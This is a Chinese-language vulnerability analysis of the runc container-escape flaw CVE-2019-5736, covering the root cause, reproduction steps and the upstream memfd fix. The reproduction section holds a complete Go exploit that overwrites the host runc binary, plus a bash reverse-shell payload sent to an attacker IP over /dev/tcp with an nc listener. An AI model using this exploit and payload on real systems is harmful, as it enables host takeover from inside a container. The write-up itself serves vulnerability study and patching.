漏洞分析
CVE-2019-5736是一个runc漏洞,利用这个漏洞可以让容器中的进程覆写runc程序文件,从而在宿主中执行任意指令。
当宿主中的runc要运行容器中的程序时,它会调用nsexec()方法来进入容器的namespace,然后才会运行容器中的程序[1.1]:
void join_namespaces(char *nslist)
{
int num = 0, i;
char *saveptr = NULL;
char *namespace = strtok_r(nslist, ",", &saveptr);
struct namespace_t {
int fd;
int ns;
char type[PATH_MAX];
char path[PATH_MAX];
} *namespaces = NULL;
......
for (i = 0; i < num; i++) {
struct namespace_t ns = namespaces[i];
if (setns(ns.fd, ns.ns) < 0)
bail("failed to setns to %s", ns.path);
close(ns.fd);
}
free(namespaces);
}
void nsexec(void)
{
......
case JUMP_CHILD:{
......
if (config.namespaces)
join_namespaces(config.namespaces);
if (unshare(config.cloneflags) < 0)
bail("failed to unshare namespaces");
......
}
......
}
然而,如果runc运行的程序被修改为“#!/proc/self/exe”,runc就会在容器中运行它自己。同时,由于runc已经进入了容器的namespace,runc的进程便可以在容器中的/proc里被发现,此时容器中的程序就可以把runc的程序文件的内容修改为任意恶意代码。
漏洞复现
注意:该漏洞会覆写runc程序,需要提前做备份。
系统:Ubuntu 18.04
Docker:18.09.1
containerd:1.2.0-1
创建一个容器,在里面创建payload文件:
#!/bin/bash /bin/bash -i >& /dev/tcp/10.114.0.1/1234 0>&1
在10.114.0.1中开启监听:
nc -lvp 1234
然后在容器中创建并编译exp,其中“/exp.sh”为上面创建的payload文件:
package main
import (
"io/ioutil"
"os"
"strconv"
"bytes"
)
func main() {
payload, _ := ioutil.ReadFile("/exp.sh")
ioutil.WriteFile("/bin/sh", []byte("#!/proc/self/exe"), 0755)
pid := ""
for pid == "" {
pids, _ := ioutil.ReadDir("/proc")
for _, f := range pids {
cmdline, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
if bytes.Contains(cmdline, []byte("runc")) {
pid = f.Name()
break
}
}
}
exefd := ""
for {
exe, _ := os.Open("/proc/"+pid+"/exe")
if int(exe.Fd()) > 0 {
exefd = strconv.Itoa(int(exe.Fd()))
break
}
}
for {
writefd, _ := os.OpenFile("/proc/self/fd/"+exefd, os.O_WRONLY|os.O_TRUNC, 0755)
if int(writefd.Fd()) > 0 {
writefd.Write(payload)
break
}
}
}
在容器中执行该程序,然后在另一个宿主的session中执行容器的/bin/sh:
sudo docker exec -it ubuntu /bin/sh

由于此时容器中的/bin/sh已经被覆写,此处实际上运行的是runc本身。随后之前运行的exp覆写runc文件,内容为payload的内容,此时宿主会反弹一个shell到攻击机。

并且也可以看到runc文件的内容发生了变化。

官方修复
在修复后,runc会先将自己复制为一个临时存在于内存中的匿名文件,然后复制后的runc会进入容器的namespace,而原本的runc则不会进入,这样容器中对runc的修改就不会影响到宿主中原本的runc[3.1]。
#ifdef HAVE_MEMFD_CREATE
memfd = memfd_create(RUNC_MEMFD_COMMENT, MFD_CLOEXEC | MFD_ALLOW_SEALING);
#else
memfd = open("/tmp", O_TMPFILE | O_EXCL | O_RDWR | O_CLOEXEC, 0711);
#endif
if (memfd < 0)
return -ENOTRECOVERABLE;
binfd = open("/proc/self/exe", O_RDONLY | O_CLOEXEC);
if (binfd < 0)
goto error;
sent = sendfile(memfd, binfd, NULL, RUNC_SENDFILE_MAX);
close(binfd);
参考
[1.1] https://github.com/opencontainers/runc/blob/v1.0.0-rc5/libcontainer/nsenter/nsexec.c#L792
[2.1] https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/
[2.2] https://github.com/Frichetten/CVE-2019-5736-PoC
[3.1] https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b